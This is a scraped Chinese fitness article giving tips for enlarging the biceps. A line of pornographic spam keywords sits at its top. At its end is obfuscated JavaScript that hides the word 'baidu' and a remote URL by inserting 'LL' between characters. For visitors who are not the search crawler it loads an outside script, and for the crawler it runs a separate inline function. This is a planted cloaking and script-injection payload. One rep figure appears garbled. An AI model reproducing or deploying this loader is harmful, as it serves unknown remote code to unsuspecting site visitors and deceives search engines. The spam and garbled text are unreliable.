亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

增大肱二頭肌的方法

2017-04-16 13:06:48  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:不少人鍛煉身體都是有目的的,有的人希望通過運(yùn)動(dòng)的方式達(dá)到自己減肥的目的,有的人則是為了達(dá)到自己長(zhǎng)高的目的,無論為了何種目的,鍛煉身

不少人鍛煉身體都是有目的的,有的人希望通過運(yùn)動(dòng)的方式達(dá)到自己減肥的目的,有的人則是為了達(dá)到自己長(zhǎng)高的目的,無論為了何種目的,鍛煉身體對(duì)我們來說是一種比較健康的生活方式,那么增大肱二頭肌的方法有哪些呢?接下來讓我們一起來了解一下吧,對(duì)這方面感興趣的人可以多看一下。

誰都希望肢二頭肌不斷增長(zhǎng),但大多數(shù)人不知道如何做到這一點(diǎn)。他們機(jī)械地模仿流行的訓(xùn)練模式,結(jié)果是無所收獲。

肱二頭肌是個(gè)非常頑固的部位,若訓(xùn)練方法不當(dāng),則跟沒練一樣。 我曾經(jīng)嘗試過各種訓(xùn)練方法、最終發(fā)現(xiàn)了促進(jìn)肱二頭肌最佳增長(zhǎng)的十大秘訣。

一、高訓(xùn)練量 在肱二頭肌訓(xùn)練中,很少有人練到足夠的組數(shù)。害怕艱苦訓(xùn)練的人常說,肪二頭肌是個(gè)小部位,每次訓(xùn)練不能超過9組。

實(shí)際上即使做20組你都無法“震撼”它,而僅僅是在“撓癢癢”。一個(gè)高效的震撼訓(xùn)練至少要做20組,而且這20組都必須是正式組,每組都得做到力竭。

二、超級(jí)組訓(xùn)練法則 超級(jí)組訓(xùn)練法則對(duì)增大肱二頭肌特別有效,它能刺激更多的肌纖維,創(chuàng)造更好的充血。我在每次訓(xùn)練中都采用超級(jí)組訓(xùn)練法則。采用超級(jí)組訓(xùn)練法則時(shí)應(yīng)注意以下幾點(diǎn)。

1.不要每個(gè)練習(xí)都做超級(jí)組,僅是每組的最后兩個(gè)練習(xí)采用。

2.杠鈴彎舉不要采用超級(jí)組訓(xùn)練法則。因?yàn)檫@個(gè)復(fù)合練習(xí)需要強(qiáng)大的能量和充分的恢復(fù)。

3.除了肱二頭肌之外,不要把肱二頭肌與其它部位聯(lián)合在一起做超級(jí)組。二頭肌與三頭肌功能相反,輪流訓(xùn)練可保證充足的恢復(fù)時(shí)間。二頭肌訓(xùn)練的最后一個(gè)練習(xí)與三頭肌訓(xùn)練的第一個(gè)練習(xí)聯(lián)合做超級(jí)組,正好能過渡到三頭肌訓(xùn)練中去。

4.在用超級(jí)組法則聯(lián)合練二頭肌和三頭肌時(shí),應(yīng)盡量選擇相同用力水平的練習(xí),如啞鈴斜板彎舉與單臂啞鈴屈伸,或坐姿啞鈴交替彎舉與站姿頸后臂屈伸的組合。

5.能用于超級(jí)組訓(xùn)練的肱二頭肌練習(xí)只有啞鈴彎舉、斜板啞鈴彎舉、坐姿杠鈴彎舉和拉索彎舉。相比之下,站姿杠鈴彎舉太重了、啞鈴集中彎舉太輕了,機(jī)器彎舉又太孤立了。

三、每組都練到力竭 每一組都應(yīng)練到力竭,不論使用多大重量或做多少次,只有練到力竭才能確保對(duì)肱二頭肌震撼性刺激的要求。

四、采用較低的次數(shù) 只統(tǒng)計(jì)那些在68次范圍內(nèi)達(dá)到力竭的訓(xùn)練組。如果每組超過8次,則附屬肌肉可能在肱二頭肌完全力竭之前就疲勞了。如果無法做到6次,則表明二頭肌沒有在附屬肌肉取代用力之前達(dá)到力竭。

五、經(jīng)常打亂訓(xùn)練次序 假定最大的力量應(yīng)該分派給最重的練習(xí),那么結(jié)論就是每次肱二頭肌訓(xùn)練都應(yīng)以杠鈴彎舉開始。

增大肱二頭肌的方法有很多,重要的是我們應(yīng)該選擇自己適合的訓(xùn)練方法,如果訓(xùn)練方法超過了我們身體所能承受的能力范圍,那么對(duì)于我們來說也是非常糟糕的,因?yàn)槲覀兊纳眢w也會(huì)隨之而遭殃,這樣的結(jié)果是我們都不愿意看到的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}